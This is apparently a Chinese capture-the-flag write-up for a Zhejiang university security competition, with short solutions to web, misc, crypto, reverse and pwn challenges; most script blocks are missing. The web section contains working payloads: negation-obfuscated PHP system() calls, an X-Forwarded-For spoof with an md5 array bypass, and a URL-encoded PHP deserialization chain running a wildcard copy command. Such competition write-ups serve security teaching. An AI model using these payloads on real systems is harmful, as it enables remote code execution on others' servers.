第六届浙江省大学生网络与信息安全竞赛-WP
web
初赛[easy php]
签到题
1  |  | 
初赛[can you read flag]
好像做复杂了
访问页面返回//eval($_GET[a]);
爆破一下看哪些符号能用
可以用取反,例如(~%8C%86%8C%8B%9A%92)(~%93%8C%DF%D0);
发现根目录有flag和readflag,flag没有权限读取

base64转一下读取readflag
(~%8C%86%8C%8B%9A%92)(~%9D%9E%8C%9A%C9%CB%DF%D0%8D%9A%9E%9B%99%93%9E%98);

执行readflag后要先输入一个y,然后进入循环开始计算式子,大概成功计算100多轮后读取flag并输出

靶机的web目录不能读写,在/tmp目录下写一个php脚本用来计算
1  |  | 
1  |  | 

决赛[baby md5]
check.php
1  |  | 
index.php
1  |  | 
ip验证用X-Forwarded-For,md5弱比较用数组绕过,正则匹配用取反绕过
payload:X-Forwarded-For=127.0.0.1,cmd=(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D0%99%93%9E%98);&key1[]=1&key2[]=2

决赛[easy serialize]
1  |  | 
给定了flag位置,同时又有file_get_contents,那么就从learn函数入手。很明显__invoke调用了learn,传进去了可控的$var,而在yong::__tostring中可以触发baby::__invoke,old::__get中可以触发yong::__tostring,baby中的getAge又能触发old::__get
payload
1  |  | 
决赛[p2rce]
1  |  | 
从CCC::__destruct进入,有个判断,用&引用地址,使$a永远与$b相等,然后echo触发AAA::__toString,接着可以通过return对象中不存在的属性来触发BBB::__get,最后绕过正则实现rce
最后结尾还有一个throw new Exception,破坏字符串结构即可触发fast destruct
1  |  | 
O%3A3%3A%22CCC%22%3A3%3A%7Bs%3A1%3A%22c%22%3BO%3A3%3A%22AAA%22%3A2%3A%7Bs%3A1%3A%22s%22%3BO%3A3%3A%22BBB%22%3A1%3A%7Bs%3A1%3A%22b%22%3Bs%3A12%3A%22%2F%3F%3F%3F%2F%3F%3F+%2F%2A+.%22%3B%7Ds%3A1%3A%22a%22%3Bs%3A9%3A%22lewiserii%22%3B%7Ds%3A1%3A%22a%22%3BN%3Bs%3A1%3A%22b%22%3BR%3A6%3B
通过通配符匹配/bin/cp,将根目录所有文件复制到根目录,然后访问获得flag
或者通过. /???/????????[@-[]匹配php的临时文件来rce
1  |  | 
决赛[babyWeb]
pickle反序列化
1  |  | 
misc
初赛[number game]
查看index.js
1  |  | 
1  |  | 
初赛[Ez_misc]
文件高位和低位交换位置
1  |  | 
steghide空密码解密得到flag.txt

将DASH替换成-,DOT替换成.后解摩斯

初赛[Steins_Gate]
给了一张很大的图片,由嘟嘟噜组成一张图片,观察发现每个字是16*16
猜测是把原图像素替换成文字了
在每个字中找一个固定的像素点,然后提取像素还原原图
1  |  | 

使用stegsolve发现0通道有很多base64

提取出来后发现每组后还有12个字节的冗余数据
1  |  | 
去除冗余数据后base64解出一张图片

同时也是多行base64的形式,尝试base64隐写
1  |  | 
得到密码DuDuLu~T0_Ch3@t_THe_w0r1d
outguess解密得到flag

决赛[Xcode v5.8]
xxencode->base58

决赛[Ez_Signin]
zip爆破密码,得到11452
base32解密后得到一个文本
1  |  | 
根据文本内容进行画图
1  |  | 

crypto
初赛[小小数学家]
计算式子
1  |  | 
初赛[An EaSy Cipher]
1  |  | 
提示:ECB 0 128 six numbers
写脚本爆破
1  |  | 

reverse
初赛[pyccc]
使用pycdc反编译
1  |  | 
1  |  | 
初赛[easyapk]
密文是HPjVMiy4FxSPc1n0eq52t4jaZ7FNr/qvJMjkusqbG6t8IVzztqflA0VQmVZYgiaC,iv是0123456789ABCDEF

密钥中e替换成3
final String replaceAll = "reversecarefully".replaceAll("e", "3");
加密模式是AES


初赛[luare]
先导出lua的字节码

修补文件头为1B 4C 7561 52,其中52是版本号

使用unluac反编译
java -jar unluac.jar out > out.lua
得到
1  |  | 
分析Oo00Oo0函数,简单异或

解密脚本
1  |  | 
决赛[Ez8or]
加密数据再次异或后得到flag
1  |  | 
pwn
决赛[SafeNote]
伪随机数,先获取密文
1  |  | 
rsa解密得到password,然后将password发送给靶机得到flag
1  |  |